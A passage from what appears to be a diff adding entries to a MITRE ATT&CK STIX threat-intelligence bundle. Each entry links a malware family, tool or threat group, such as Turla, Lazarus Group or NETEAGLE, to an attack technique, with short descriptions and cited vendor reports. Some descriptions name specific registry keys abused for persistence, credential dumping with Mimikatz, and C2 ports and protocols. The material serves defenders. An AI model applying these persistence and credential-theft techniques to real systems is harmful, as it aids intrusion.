[ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72b7d86e-5e78-4bc6-a16e-c4380d12d627", + "external_references": [ + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can obtain data from local systems.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6049a18-43d5-4761-ad56-a60e2a7998cf", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) uses SSL/TLS and RC4 to encrypt traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3973baa-0185-45a1-934d-2b29f742a2df", + "external_references": [ + { + "source_name": "Invincea XTunnel", + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-04-19T18:36:31.961Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses raw sockets to communicate with its C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbfceb88-6548-49c9-97e2-8e187856edb3", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "modified": "2019-07-17T01:18:32.653Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) leveraged [Mimikatz](https://attack.mitre.org/software/S0002) to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c01c8bd2-0471-470c-aaab-4d4f96a27e9a", + "external_references": [ + { + "source_name": "Lazarus KillDisk", + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + } + ], + "modified": "2019-04-29T18:13:08.774Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sometimes used drive-by attacks against vulnerable browser plugins.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0583724d-7778-42ed-995c-acad526db4ba", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.180Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover operating system configuration details using the systeminfo and set commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-14T21:04:44.980Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has established persistence by setting the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key value for wdm to the path of the executable. It has also used the Registry entry HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn \u201c%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe\u201d to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--259b878f-147e-443b-8360-aabc00cf6d73", + "external_references": [ + { + "source_name": "ZScaler Hacking Team", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000. [NETEAGLE](https://attack.mitre.org/software/S0034) will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2. Adversaries can also use [NETEAGLE](https://attack.mitre.org/software/S0034) to establish an RDP connection with a controller over TCP/7519.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion]Winlogon.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2019-07-14T21:04:44.988Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.207Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a36263d1-d109-4c94-930a-6be1e9615527", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.610Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14702113-ddd7-4898-902a-aeb884b26266", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c0e78590-0266-43e0-8fb5-efd95556c20c", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.154Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1b4887c-37ac-4470-88d5-ece2bfa6477e", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use [PowerShell](https://attack.mitre.org/techniques/T1086), Python, VBA, [PowerSploit](https://attack.mitre.org/software/S0194), other scripting frameworks to perform execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + }, + { + "source_name": "CobaltStrike Daddy May 2017", + "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", + "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/" + } + ], + "modified": "2019-06-06T19:04:39.333Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses HTTPS for command and control.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39556624-1c45-4178-bfa4-7a20b254df7e", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) persists through a scheduled task that executes it every minute.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2355c588-ff82-4eaf-82db-54af59ede582", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can perform DLL injection.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The \"SCOUT\" variant of [NETEAGLE](https://attack.mitre.org/software/S0034) achieves persistence by adding itself to the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63d53308-7d7d-4777-a1cc-c7100735609c", + "external_references": [ + { + "source_name": "MTrends 2016", + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3", + "relationship_type": "uses", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--331e59e9-0d10-4c2d-ba92-e8eb0de1cc95", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.728Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) decodes embedded XOR strings.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5412525e-cba5-4fa1-89ff-7e6fa2b92e24", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:03:10.919Z", + "type": "relationship", + "id": "relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) encodes C2 traffic with base64.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83a949a2-ed5d-4ae5-a45f-885e58a7d931", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can run DLLs.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--555e47f2-54bb-4c97-8804-536aa354126c", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "modified": "2019-04-29T18:01:20.514Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from network shared drives with file extensions and keywords that match a predefined list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can open an interactive command-shell to perform command line functions on victim machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8674de47-b051-4384-a6e0-aeed32b8c270", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": 